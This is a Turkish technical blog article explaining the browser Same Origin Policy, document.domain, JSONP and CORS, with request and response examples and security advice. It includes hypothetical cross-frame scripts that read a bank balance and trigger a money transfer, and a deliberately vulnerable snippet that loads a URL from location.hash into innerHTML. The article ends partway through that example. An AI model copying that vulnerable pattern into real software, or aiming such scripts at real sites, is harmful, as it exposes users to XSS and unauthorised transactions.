Same Origin Policy

Ziyahan Albeniz - 12 Ağustos 2016 -

SOP, browser güvenliğinin merkezinde bir konsept olmasına rağmen, yine de az tanınan ve hakkında pek çok şehir efsanesi bulunan bir konsepttir. İlk görünüşte, basit bir kaynak karşılaştırmasından ibaret görünen SOP, ayrıntılara girildikçe kavranması zor ve yer yer güvenlik açısından yönetimi dikkat isteyen bir konsepttir.(..) SOP'u karanlık bir odada tarif edilen fil imajından kurtarmak için SOP'un çizdiği ve aslında çok net olan kuralları hatırlayalım.

Same Origin Policy

Same Origin Policy'nin Olmadığı Bir Dünya

www.example.com 'a girdiğinizde, bu sayfadaki bir iframe'in www.badbank.com 'u yüklediğini varsayalım. Aynı tarayıcı üzerinden www.badbank.com 'a oturum açtı iseniz, bu oturuma ait tarayıcı belleğinde saklanan Cookie, www.badbank.com 'a yapılan istek ile beraber gönderilecek ve bu Cookie ile kimliğinizi doğrulayan www.badbank.com size ait olan bir içeriği yanıt olarak gönderecektir.

Not: Same Origin Policy için yazı boyunca SOP kısaltması kullanılacaktır.

DOM nesnesi ile tüm döküman (document) nesnesinin özelliklerine ve olaylarına erişebildiğimize göre, aşağıdaki gibi bir kodun güvenliğiniz için oluşturulabileceği riskleri hayal edebiliyor musunuz?

<html>
<head>
<title>Welcome to Example.com</title>
</head>
<body>
<iframe name="bank_frame" src="http://www.badbank.com"></iframe>
<script>
    alert(frames.bank_frame.document.getElementById("balance").value);
</script>
</body>
</html>

Yukarıdaki kod ile sadece hesap bakiyenizin ekranda bir mesaj içerisinde görüntülenmesi sağlandı. Bu mümkün olan ihtimaller arasından en masum olanı. Aşağıdaki bir yöntemle kötü niyetli bir kişi daha fazlasını yapabilirdi:

<html>
<head>
<title>Welcome to Example.com</title>
</head>
<body>
<iframe name="bank_frame" src="http://www.badbank.com/sendmoney.php"></iframe>
<script>
frames.bank_frame.document.getElementById("recipient_account").value=1231;
frames.bank_frame.document.getElementById("fund").value=1231;
frames.bank_frame.document.getElementById("sendMoney").click();
</script>
</body>
</html>

Iframe vasıtasıyla www.badbank.com sizin geçerli oturumunuz ile yüklendi; fakat sizin rızanız olmayan bir isteği çalıştırmaya zorlandı.

Web'in doğasında bulunan bu zenginliğin, bu tarz kötü kullanımlarını engellemek ve iç içe geçmiş web kaynakları arasındaki bu tarz istismarların önünü alabilmek için, Javascript ve DOM'un tarayıcılara eklenmesi ile birlikte bir de politika belirlendi: Same Origin Policy.

Same Origin Policy Nedir?

1994 yılında HTTP protokolüne eklenen Cookie özelliği sayesinde, web sayfaları durağanlığını biraz olsun üzerinden atmış; istekte bulunan kullanıcıları birbirinden ayırt edebilecek bir yeteneğe sahip olmuştu: Cookie.

Veri ağları gelişip, web'i daha fazla insan kullandıkça, daha fazla etkileşim ve renge ihtiyaç duyulmuş, Cookie'nin geliştirilmesini takip eden 1995 yılında, istemci tarafındaki web görünümünü zenginleştirmek üzere, iki yeni özellik Netscape tarafından üretilen tarayıcılara eklenmiş idi. Bunlardan ilki, istemci tarafından yüklenen kodların browserda yorumlanmasını sağlayan Javascript dili; bir diğeri de hiyeraşik bir metin dosyasından ibaret olan HTML dökümanlarının bu scripting dili ile etkileşimini sağlayacak bir API olan DOM, yani Document Object Model, Döküman Nesne Modeli.

DOM sayesinde, Javascript dilini kullanarak , döküman URL'inden, barındırdığı Cookie'lere kadar; dökümanın yüklenmesi olayından, dökümanın kapatılması olayına kadar, HTML dökümanını ilgilendiren tüm özelliklere erişebilmek ve değiştirebilmek mümkün olacaktı.

İsminden de anlaşılacağı üzere, zengin bir metin protokolü olan HTTP (HyperText Transfer Protokol - Zengin Metin Aktarım Protokolü), esas zenginliği farklı kaynaklardan yüklenen içeriklerin, istemci potasında derlenmesinden aldığı için, çözümlenmesi gereken bir takım pratik sorunların ortaya çıkması muhtemeldi.

Bu pratik sorun özetle, her bir kaynağın kendisine has Cookie'lerinin, bir DOM belleğinin, Javascript isim uzayının (namespace ve bu kapsamdaki tüm değişkenler) ve bu kaynağa ait DOM'un olduğu bir ortamda, bu çok parçalı yapıda diğer parçalar tarafından nasıl yönetilip, erişilebileceği idi.

Buna bir çözüm olarak Netscape'in mühendisleri browser tarafından yüklenen her bir kaynağın sınırlarını tespit edip, bu sınırların birbirleri ile kurdukları ilişkileri bir kural ile yönetmeye karar verdiler: Same Origin Policy.

Buna göre, browser tarafından yüklenen tüm kaynaklar, bu kaynağa erişimde kullanılan protokol, URL ve erişilen port birleşiminden oluşan ve origin olarak tabir edilen bir dizge ile tanımlanacak ve bu sayfalar ancak aynı origin'e sahip iseler, birbirlerinin kaynaklarına erişebileceklerdi.

http://www.example.com üzerinden origin'i tarif edersek:

Protokol/Şema : http://
URL : www.example.com
Port : 80

Bir web sayfasına erişimde, özellikle port belirtilmezse, varsayılan olarak web'in varsayılan portu olan 80. kullanılır.

Şimdi Same Origin Policy'i bir tablo üzerinden inceleyelim.

http://www.example.com/dir/test.html sayfası üzerinden, erişmek istediğimiz URL'ler ve SOP kapsamında alacağımız yanıtlar aşağıdaki gibi olacaktır:

URL Sonuç Sebep
http://www.example.com/dir/page.htm Erişilebilir Protokol, URL ve port eşleşiyor.
http://www.example.com/dir/other.htm Erişilebilir Protokol, URL ve port eşleşiyor.
http://www.example.com:81/dir/test.htm Erişemez Aynı protokol ve URL, fakat port farklı(81).
https://www.example.com/dir/test.htm Erişemez Aynı URL. Fakat şema/protokol (https) farklı.
http://demo.example.com/dir/test.htm Erişemez Şema ve port aynı. URL farklı (demo.example.com)
http://example.com/dir/test.htm Erişemez URL farklı (example.com)
http://www2.example.com/dir/test.htm Erişemez URL farklı (www2.example.com)

Neredeyse tüm modern browserlarda geçerli olan SOP ile web kaynakları birbirlerinin döküman içeriklerine, özelliklerine , yalnızca aynı protokol, aynı domain ve aynı port'a sahip oldukları, yani aynı origin'e sahip oldukları takdirde erişip, değiştirebilirler. Aksi bir durumda, döküman özelliklerine eriştirmek ve değiştirmek browserlar tarafından engellenmektedir.

Same Origin Policy bugün DOM ile özdeşleşse de, webin gizlilik arz eden tüm kaynakları için, şahsına münhasır bir SOP mevcuttur. Örneğin Cookie'ler. Cookie'nin bir istek ile birlikte gönderilmesinin de önşartı, Cookie'i set eden domain, path ile istek yapılan domain ve path'in eşleşmesi ve ayrıca Cookie'nin ömrünün sona ermemesi durumunda Cookie istekle birlikte gönderilmektedir. Port ve şema Cookie'ler tarafından kontrol edilen origin doğrulamasına dahil değildir.

SOP, browser güvenliğinin merkezinde bir konsept olmasına rağmen, yine de az tanınan ve hakkında pek çok şehir efsanesi bulunan bir konsepttir. İlk görünüşte, basit bir kaynak karşılaştırmasından ibaret görünen SOP, ayrıntılara girildikçe kavranması zor ve yer yer güvenlik açısından yönetimi dikkat isteyen bir konsepttir.

SOP ile ilgili en yaygın efsane, "SOP, bir sayfanın başka bir sayfadan kaynak yükleyemeyeceği kısıtı" olduğu yönündeki görüştür. Oysa biliyoruz ki bugünkü web teknolojilerini bu kadar zengin ve renkli kılan, farklı kaynaklardan yüklenen içeriklerin, sayfalarımızı daha zengin hale getirmesidir. Koskoca bir CDN ekosisteminin varlığı, bu savı geçersiz kılmaktadır.

"Bir sayfa, baska bir kaynağa (sunucuya) bilgi yollayamaz." SOP hakkındaki doğru olmayan argümanlardan biri daha. Oysa biliyoruz ki bir kaynak, bir başka kaynağa istekte bulunabilir, bir kaynaktaki formların hedefleri, diğer bir kaynak olabilir. Ödeme sistemlerini düşünürsek, sayfamıza entegre ettiğimiz bir ödeme altyapısı, başka bir kaynağa veri yollayıp, işlem gerçekleştiriyor olabilir. Hatta yaygın web güvenlik zafiyetlerinden ve OWASP TOP 10 listesinde [1] yer alan CSRF (Siteler Arası İstek Sahteciliği) sitelerin birbirlerine bilgi yollayabilmelerinden, istek yapabilmelerinden kaynaklanmaktadır.

SOP'un ilk bakıştaki bu karmaşasını gidermek ve SOP'u karanlık bir odada tarif edilen fil imajından kurtarmak için SOP'un çizdiği ve aslında çok net olan kuralları hatırlayalım.[2]

  1. Her bir site; Cookie, DOM Storage, Javascript Namespace ve DOM gibi kaynaklara sahiptir.
  2. Her bir sayfa, kendi originini URL'inden alır.
  3. Script'ler hangi kaynaktan yükleniyor olursa olsunlar, kendilerini yükleyen sitenin kontekstinde ve yetki alanında çalışır.
  4. Image gibi medya tipleri, pasif kaynaklardır. Yüklendikleri origin içerisindeki obje ve kaynaklarına erişimleri yoktur.[3]

Bu dört ana fikri tüm olası durumlar için sıralarsak.

A originindeki bir site;

  1. B kaynağındaki bir script 'i yükleyerek, kendi kontekstinde çalıştırılabilir.
  2. B kaynağındaki bir script'in raw koduna, source koduna erişemez.
  3. B kaynağındaki CSS'leri yükleyebilir.
  4. B kaynağındaki CSS'lerin raw-text haline erişemez.
  5. B kaynağındaki bir sayfayı iframe ile kendisine dahil edebilir.
  6. B kaynağından yüklediği bu iframe'in DOM'una erişemez.
  7. B kaynağındaki bir resim yükleyebilir.
  8. B kaynağından yüklediği bu imajin bit'lerine erişemez.
  9. B kaynağındaki bir videoyu çalıştırabilir.
  10. B kaynağından yüklediği bu video'nun imajlarını capture edip, tekrar oluşturamaz.[4]

İşte bu kısıtlar ve kurallar silsilesi ile, zengin olan web içeriklerimiz aynı zamanda güvenli. Bugün SOP tüm modern browserlarda mevcut olan bir konsept. Fakat SOP'un browserlar ve web teknolojilerindeki farklı implementasyonları, web projeleri geliştirirken titiz davranmayı zorunlu hale getiriyor. Şimdi bu farkları hep birlikte inceleyelim.

SOP İmplementasyonları

SOP, web'in bir çok noktasındaki güvenlik denetimlerinin merkezinde olan bir konsepttir. DOM erişimi, Javascript, Cookie, Java, Silverlight ve Flash gibi RIA uygulamaları, Fakat her bir noktadaki farklı SOP implementasyonu, geliştiricilerin daha dikkatli olmasını gerektirmektedir.

Yalnızca SOP'un bu başlıklardaki implementasyon farklılıları değil, Cookie, Javascript ve DOM erişimleri için belirlenen SOP'un, browserlar arasında arz ettiği farklılıklar, geliştiriciler için bir mayın tarlasında özgürlük hissi yaratmaktadır.

DOM Erişimleri ve Same Origin Policy

DOM erişimini düzenleyen SOP tüm modern browserlarda mevcut olmasına rağmen, Internet Explorer ve diğer tarayıcılar arasında bir farklılık bulunmaktadır.

IE dışındaki browserlarda, origin'i belirleyen unsurlar şema/protokol + domain + port iken; IE tarayıcılarda port; origin tespitinde dikkate alınmamaktadır. Bu da aynı domain'de bulunan fakat farklı portlar üzerinde çalışan web uygulamaları için güvenlik riski arz etmektedir.

http://www.example.com/test.html URL'i için aşağıdaki tabloya göz atalım:

URL Browser Sonuç Sebep
http://www.example.com:81/contact.html IE Erişebilir Şema ve domain eşleşiyor.
http://www.example.com:81/contact.html Chrome + Firefox + Safari + Opera, vb. Erişemez Şema ve domain eşleşmesine rağmen; port eşleşmiyor.

Güvenlik açısından yarattığı riski örnek bir senaryo ile inceleyelim: Web sitelerinde test ortamları, farklı bir port üzerinden yayında olabilir. Örneğin http://www.example.com adresi üzerinden yayın yapan bir sitenin test sürümü http://www.example.com:8080 üzerinden yayınlanıyor olabilir. Eğer yayınlanan bu test sürümünde bir zafiyet varsa, örneğin Cross Site Scripting (XSS) zafiyeti; 8080 portu üzerinden yayın yapan test sitesi, IE browserlarda varsayılan port olan 80 üzerinden yayın yapan production sürümündeki sitenin DOM'una erişebilir.

document.domain

SOP'un bu katı kuralları, bazen aynı domain'e ait olan altsitelerin birbirleriyle kaynak paylaşmalarında sıktıntılara neden olabilir.

Örneğin login.example.com, games.example.com, calendar.example.com.

Aynı domain altında bulunan bu subdomainlerin, birbirleriyle haberleşmeleri gerekebilir. Bu durumda SOP'un katı kurallarını esnetmek mümkün mü? Evet.

document.domain yardımı ile, sitelerin origin'leri TLD (Top Level Domain) olacak şekilde genişletilebilir. Örneğin bu domainlerin TLD'si example.com.

document.domain = "example.com";

Bu kodun, aynı origin'i paylaşmak isteyen tüm sitelerin kaynak kodunda yer alması gerekiyor.

Böylece games.example.com, login.example.com ve calendar.example.com aynı origin'de olduklarını tarayıcıya bildirebilirler.

Web cangılında niyetiniz ne kadar halisane olursa olsun, böylesi bir küçük kaçamak tehlikelere de neden olabilir, attacker.example.com da kendi origin'ini example.com olarak bildirdiğinde, böyle tehlikeli bir kaynakla aynı origin içerisinde olmanızı hiçbir kuvvet engelleyemeyecektir.

Ayrıca, games.example.com, login.example.com ve calendar.example.com 'un kendi origin'lerini example.com olarak değiştirmeleri, example.com 'un DOM'una erişebilecekleri anlamına gelmemektedir. Bu subdomainlerin, example.com 'un DOM'una erişebilmesi için, example.com kodunda da document.domain talimatı ile example.com 'un belirtilmesi gerekmektedir:

document.domain="example.com"

document.domain ancak hostname konusundaki SOP kısıtını esnetebilir. Port ve şema aynı kalmaktadır. Bu husustaki bir başka önemli nokta da, bir domain kendi TLD'si olmayan bir başka domain'i origin olarak set edemez, örneğin login.example.com kendi originini example2.com olarak set edemez.

Aşağıdaki tablo özet bir bakış açısı verecektir:[5]

URL document.domain URL document.domain Sonuç
http://www.example.com example.com http://payment.example.com example.com Erişebilir
http://www.example.com example.com https://payment.example.com example.com Erişemez.Protokol uyumsuzluğu.
http://payment.example.com example.com http://www.example.com Set edilmedi Erişemez
http://www.example.com example.com http://www.example.com Set edilmedi Erişemez

Web 2.0 ve Same Origin Policy - XmlHTTPRequest, JSONP, XDomainRequest ve CORS

XmlHTTPRequest

Web uygulamalarımızı asenkron isteklerle zenginleştirdiğimiz ve Web 2.0 teknolojilerinin temelinde bulunan XmlHTTPRequest nesnesi, SOP'un en katı uygulandığı alandır. Bundan dolayı, farklı kaynaklarla iletişim kuran web uygulamaları, mash up'lar geliştirilirken, SOP sık sık geliştiriciler için bir engel teşkil etmiş; fakat ilk günlerinden bu yana geliştiriciler SOP'un kendi kuralları dairesinde çözümler üretmişlerdir.

XmlHTTPRequest'e implemente edilen SOP nedeniyle;

  • - Farklı origin'deki bir siteye simple (detaylar CORS konusunda verilecek. Bkz. Preflight and Simple Requests) istek yapılabilir, ancak bu isteğe karşılık gelen yanıtlar okunamaz.
  • - Sadece aynı origindeki bir sayfaya yapılan isteğin yanıtı okunabilir.

Fakat XmlHTTPRequest nesnesi ile aynı origindeki sayfalara yapılan isteklere custom headerlar eklenebilir.

JSONP (JSON Padding)

XmlHTTPRequest nesnesi ile başka bir siteye istek yapılsa bile, isteğe verilen yanıtın okunamayacağını söylemiştik. Peki web'i bu kadar zengin hale getiren web servislerini nasıl kullanacağız? Bir başka siteden aldığımız döviz kurlarını, hava durumu tahminlerini, müzik albüm listelerini, en çok izlenen filmleri nasıl bir başka siteden asenkron bir istekle alıp sitemizde görüntüleyebileceğiz?

SOP ile belirlenen dört kaideden bahsettiğimiz esnada, Script dosyalarının, bu dosyaları yükleyen origin'in içerisinde ve yetkisinde çalıştığını söylemiştik. Bunun için en önemli kıstas yüklenen dosyanın geçerli bir script dosyası olması.

Bu bilgiyi biraz geçmişe giderek 2000'li yıllarda geliştirilen JSON ile birleştirdiğimizde karşımıza JSONP çıkıyor.

JSON, yani Javascript Object Notation, hem bir data tipi, hem de kendisi geçerli bir Javascript olarak algılanan bir çıktıdır. Uzak servislere yaptığımız çağrılarda eğer bize dinamik olarak JSON tipinde bir sonuç döndürürlerse, böylece SOP'un bu kısıtını aşmış olabiliriz.

Tek başına isteğe dönen JSON veri tipi yeterli olmadığı için, bu servis çağrıları bir fonksiyon (callback) ile de ilişkilendirildi ve böylece ortaya JSONP (JSON Padding) çıktı. JSON Padding ile birlikte, sunucudan dönen JSON tipindeki data, bir fonksiyon ile çerçevelenecek idi. Zaten buradaki Padding de doldurulmuş, çerçevelenmiş anlamına gelmektedir. Yani bir fonksiyon ile çerçevelenmiş JSON.

Örnek bir JSONP implementasyonunu hep birlikte görelim:

function getAlbums() {
var scriptTag = document.createElement('SCRIPT');
scriptTag.src = "http://www.examplemusicstore.com/getAlbums?count=5&callback=showAlbum";

document.getElementsByTagName('HEAD')[0].appendChild(scriptTag);
}
function showAlbum(jsonData) {
	...
}

    

http://www.examplemusicstore.com'dan dönen yanıt:

showAlbum([{"artist": "Michael Jackson",	"album": "Black or White"}, {	"artist ": "Celine Dion",	"album ": "Miracle "}, {"artist ": "Beatles ",	"album ": "Revolution "}]);
Güvenlik Perspektifinden JSONP
  1. JSONP çağrısı yaptığınız sitenin güvenilir bir kaynak olduğunu doğrulamalısnız. Bu siteden dönecek tüm script kodları, sizin sitenizin yetki alanında çalışacak.
  2. JSONP çağrısı yaptığınız kaynağın güvenilir olması kadar, yapılan isteğin de SSL gibi güvenli bir kanaldan yapılması, aktarım esnasındaki bozulmaların ve değiştirilmelerin önünü alacaktır.

CORS - Cross Domain Resource Sharing

JSONP ile Web 2.0 uygulamalarımıza bir çözüm bulmuş idik. Nereden çıktı bu XDomainRequest ve CORS diye düşünebilirsiniz.

Şüphesiz, IE 9, Opera 12 ve Firefox 2.5 öncesi browserları desteklemek istiyorsanız JSONP desteklemeye devam edebilirsiniz.

Fakat büyüyen Web 2.0 'ın sunduğu olanaklarla birlikte JSONP yetersiz kalmaya başlamış ve developerlardan browser üreticilerine SOP cross domain isteklerindeki kısıtın esnetilmesi yönünde bir baskı oluşmuş idi.

Bunun en temel sebebi, JSONP ile cross domain isteklere bir yol açılmış ise de, bu yol sadece read-only yani sadece data okumaya yönelik idi. Cross domain isteklerde yazma işlemleri için web istekleri hala SOP engeline takılmaya devam ediyordu.

Geliştiricilerden gelen bu isteği dikkate alan browser üreticileri, iki farklı biçimde bu isteğe cevap verdiler. Internet Explorer, 8 ve 9 sürümlerinde bu isteğe XDomainRequest implementasyonu ile cevap verirken; Chrome, Firefox, IE 10 ve diğer browserlar ise CORS olarak bilinen bir implementasyonla bu değişikliğe gittiler.

İyi haber şu ki, birkaç küçük farklılığa rağmen, web geliştiriciler açısından CORS ve XDomainRequest implementasyonu neredeyse aynı.

CORS'u ana hatları ile özetlersek, bir A origini, B originindeki bir siteye Asenkron istek yapmak isterse, öncelikle yaptığı isteğin header kısmında kendi originini, Origin headerı ile birlikte belirtir. B originindeki site ise cross origin isteklerini kabul ettiği siteleri belirten bir Access-Control-Allow-Origin headerı ile birlikte yanıt döner.

Access-Control-Allow-Origin headerı ile birlikte yalnızca bir siteye izin verilebilir: (şema+site+port)

Access-Control-Allow-Origin: http://www.example.com

Access-Control-Allow-Origin headerı ile birlikte, asteriks (*) işareti kullanılırsa, tüm gelen cross origin talepleri kabul edilebilir:

Access-Control-Allow-Origin: *

CORS mekanizmasını biraz daha ayrıntılı inceleyelim. CORS mekanizması için geçerli iki istek türü vardır: Simple Request, Preflighted Request.

Simple Request

İstek POST, GET ve HEAD metodlarından birini içeriyor ve mesaj tipi Content-Type headerı ile, application/x-www-form-urlencoded, multipart/form-data, text/plain tiplerinden birine set edildi ise, CORS mekanizması tarafından bu istek Simple Request olarak değerlendirilir ve direkt karşı sunucuya gönderilir. Karşı sunucu, Access-Control-Allow-Origin headerı ile kabul edip etmediğini belirtir. Eğer karşı sunucu, isteği kabul etti ise, dönen yanıt browser tarafından gösterilir.

Browser tarafından set edilen headerlar dışında, CORS ile yapılan Simple Request'lere sadece aşağıdaki headerlar manual olarak set edilebilir:

  • Accept
  • Accept-Language
  • Content-Language
  • Content-Type

Örnek bir Simple CORS isteği:[6]

GET / HTTP/1.1
Host: cors.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en,en-US;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Origin: http://www.acceptmeplease.com
Connection: keep-alive

Sunucudan Simple CORS isteğine dönen yanıt:

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2016 12:43:39 GMT
Server: Apache
Access-Control-Allow-Origin: http://www.acceptmeplease.com
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: application/xml
Content-Length: 423

<?xml version="1.0" encoding="UTF-8"?>
<domainData>
<about>
  This document is designed to be invoked cross-site
</about>
<fields>
  <invocationHistory>
    And this XML document resides on another domain and has been invoked cross-site.  If this data is ever displayed, it is because it has emerged from DOM manipulations on responseXML following a cross-site invocation.
  </invocationHistory>
</fields>
</domainData>
Preflighted Request

Aşağıdaki şartlar sağlandığında bir istek CORS tarafından Preflighted Request olarak değerlendirilir:

  1. Eğer istek GET, HEAD ve POST metodlarından ayrı bir metodu kullanıyor ise, ayrıca POST metodu ile birlikte Content-Type olarak application/x-www-form-urlencoded, multipart/form-data, text/plain tiplerinden harici bir tip set edildi ise,
  2. Yapılan isteğe bir Custom Header set edildi ise

Browser, CORS isteğini yapmak yerine, öncelikle OPTIONS metodunu kullanarak bir ön istek yapar ve yapılan isteğin hedef sunucu tarafından kabul edilip edilmediğini kontrol eder. Bu denetim Preflighted Request olarak adlandırılmaktadır.

Şimdi hep birlikte bir Preflighted Request 'i inceleyelim:

var invocation = new XMLHttpRequest();
var url = 'http://cors.example.com/resources/post-here/';
var body = '<?xml version="1.0"?><person><name>Ziyahan</name></person>';

function callOtherDomain(){
  if(invocation)
    {
      invocation.open('POST', url, true);
      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
      invocation.setRequestHeader('Content-Type', 'application/xml');
      invocation.onreadystatechange = handler;
      invocation.send(body);
    }
}

POST metodu ile birlikte application/xml tipinde bir data gönderildiği ve HTTP 1.1 'de tanımlı olmayan bir header, custom header (X-PINGOTHER), istekle birlikte gönderildiği için bu istek preflighted olarak değerlendirilecek ve öncelikle hedef siteye, bu isteğin kabul edilen bir istek olup olmadığı browser tarafından sorulacak:

OPTIONS /resources/post-here/ HTTP/1.1
Host: cors.example.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Origin: http://www.acceptmeplase.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: X-PINGOTHER

Yapılan bu istekte bold olan alanlar CORS isteği için gerekli olan alanlardır.

CORS için ilk gerekli değer, Origin, yukarıda da anlattığımız gibi, istek yapan sitenin URL'ini belirtir.

Access-Control-Request-Method ise talepte bulunulan methodu, Access-Control-Request-Headers ise, sunucuya gönderilen istekte bulunan custom header(lar)ı belirtmektedir.

Sunucu konfigürasyonuna bağlı olarak OPTIONS seçeneğine HTTP 200 kodu ile bir yanıt dönülecek. Bunun dışında dönen yanıtlar browser tarafından dikkate alınmayacak ve içerik gösterilmeyecektir. Örneğimiz kapsamında, sunucunun preflighted isteğe döndüğü yanıt aşağıdaki gibidir:

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:39 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://www.acceptmeplease.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: X-PINGOTHER
Access-Control-Max-Age: 86400
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 0
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain

OPTIONS isteğine sunucunun döndürdüğü yanıttaki bold alanları incelersek;

Öncelikle Access-Control-Allow-Origin ile hangi origin'den gelen isteklerin kabul edileceği belirtiliyor. Sonrasında bu istekte geçerli kabul edilecek metodların neler olduğu Access-Control-Allow-Methods headerı ile tarayıcıya bildiriliyor. CORS isteği ile birlikte gönderilebilecek custom headerlar, Access-Control-Allow-Headers seçeneği ile bildiriliyor.

Buradaki kritik ayrıntılardan biri de Access-Control-Max-Age değeri. Saniye cinsinden tarayıcıya bildirilen bu değer sayesinde, tarayıcının bu yanıtı, söz konusu süreyle belleğinde tutmasını ve benzer bir istek için bu süre zarfında bir preflight istek yapılmasına gerek olmadığını belirtiyor.

Örneğimizde bu süre 86400 saniye, yani 24 saat olarak belirtilmiş. Önemli bir nokta olarak, her tarayıcının belirlediği bir maximum süre olduğu unutulmamalıdır. Gönderilen yanıtta bu süre, eğer tarayıcı tarafından belirtilen maksimum süreyi aşarsa bu değer ignore edilecek, yerine tarayıcının belirlediği süre dikkate alınacaktır. Örneğin Chrome'da bu süre 10 dakikadır.[7] Kaynak koduna bakıldığında bu hususun, bellek zehirlemelerine mani olmak için tasarlandığı belirtilmektedir.[8]

OPTIONS metoduna dönen yanıtla birlikte, CORS isteğine devam edebileceğini anlayan tarayıcı, bu sefer hedef sisteme gerçek CORS isteğini gönderiyor:

POST /resources/post-here/ HTTP/1.1
Host: cors.example.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
X-PINGOTHER: pingpong
Content-Type: text/xml; charset=UTF-8
Content-Length: 55
Origin: http://www.acceptmeplease.com
Pragma: no-cache
Cache-Control: no-cache

<?xml version="1.0"?><person><name>Ziyahan</name></person>

Gerçek isteğin gönderimiyle beraber, şimdi de bu isteğe sunucunun verdiği yanıtı görelim:

HTTP/1.1 200 OK
Date: Mon, 01 Dec 2008 01:15:40 GMT
Server: Apache/2.0.61 (Unix)
Access-Control-Allow-Origin: http://www.acceptmeplease.com
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 235
Keep-Alive: timeout=2, max=99
Connection: Keep-Alive
Content-Type: text/plain
CORS ve Cookie'ler

Şunu peşinen belirtmekte fayda var, CORS istekleri ile birlikte, browserda tutulan credentials'lar, (Cookie, authenticationlar, sertifikalar) varsayılan olarak gönderilmiyor. IE 10 öncesi browserlarda XDomainRequest implementasyonu ise bu konuda daha katı, hiçbir şartta browserda saklanan credentialsleri gönderilmiyordu.

CORS istekleri ile birlikte, credentials'ları göndermek için istemci tarafta withCredentials seçeneğinin true olarak set edilmesi ve sunucu tarafından gönderilen yanıtlarda da credentials'ların Access-Control-Allow-Credentials: true headerı ile kabul edilmesi gerekiyor . Aksi takdirde, client tarafında withCredentials değeri true olarak set edilse bile, dönen yanıt tarayıcı tarafından ignore edilecektir.

withCredentials seçeneğinin true olarak set edildiği örnek bir CORS isteği:

var invocation = new XMLHttpRequest();
var url = 'http://cors.example.com;

function callOtherDomain(){
  if(invocation) {
    invocation.open('GET', url, true);
    invocation.withCredentials = true;
    invocation.onreadystatechange = handler;
    invocation.send();
  }
}

GET / HTTP/1.1
Host: cors.example.com
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Connection: keep-alive
Origin: http://www.acceptmeplease.com
Cookie: pageAccess=2

Sunucu tarafından bu isteğe verilen cevap:

Date: Mon, 01 Dec 2008 01:34:52 GMT
Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
X-Powered-By: PHP/5.2.6
Access-Control-Allow-Origin: http://www.acceptmeplease.com
Access-Control-Allow-Credentials: true
Cache-Control: no-cache
Pragma: no-cache
Vary: Accept-Encoding, Origin
Content-Encoding: gzip
Content-Length: 106
Keep-Alive: timeout=2, max=100
Connection: Keep-Alive
Content-Type: text/plain
CORS İmplementasyonu Hakkında

İstemci tarafında yapılan isteklere CORS headerları otomatik olarak tarayıcı tarafından eklenmektedir.

Sunucu tarafında CORS'un implementasyonu ile ilgili olarak, Mozilla Developer Network tarafından hazırlanan Server Side Access Control isimli makaleye müracaat edilebilirsiniz.

Güvenlik Perpektifinden CORS
  1. Sunucu tarafında paylaşılan kaynaklar genel erişime açık değilse, yani public değilse, Access-Control-Allow-Origin : * yanıtı dönülmemelidir.
  2. CORS isteğinde belirtilen Origin headerı browserlar tarafından değiştirilemese bile, tarayıcı haricinde kullanılan programlar ve MITM saldırıları ile değiştirilebilir. Sadece Origin üzerinden istek yapan kaynağa güvenmemeli, yetkilendirme yapılmamalıdır.
  3. CORS doğru bir şekilde implemente edilmeli. İsteğin Origin headerında belirtilen URL sadece yetkili bir URL ise Access-Control-Allow-Origin ile birlikte geri döndürülmelidir. Bazı implementasyonlarda Origin'de belirtilen URL'in her koşulda yanıtta yetkilendirildiğini görüyoruz.
  4. CORS isteği yapılırken, istek yapılan URL'ler ve dönen yanıttaki içerikler mutlaka filtrelenmelidir. Aksi takdirde Remote File Injection yolu ile XSS saldırılarına neden olabilir.[9] [10]

    Zafiyet içeren kod:

    <script>
    
    var req = new XMLHttpRequest();
    
    req.onreadystatechange = function() {
         if(req.readyState==4 && req.status==200) {
              document.getElementById("div1").innerHTML=req.responseText;
         }
    }
    
    var resource = location.hash.substring(1);
    req.open("GET",resource,true);
    req.send();
    </script>
    
    <body>
    <div id="div1"></div>
    </body>

    Developer, sayfanın işleyişi ile ilgili şöyle bir kurguya sahip.

    http://example.foo/main.php#profile.php şeklinde istekler yapılacak ve hash'den (#) sonraki sayfalar, AJAX ile çağrılıp yüklenecek.

    GET http://example.foo/profile.php HTTP/1.1
    Host: example.foo
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
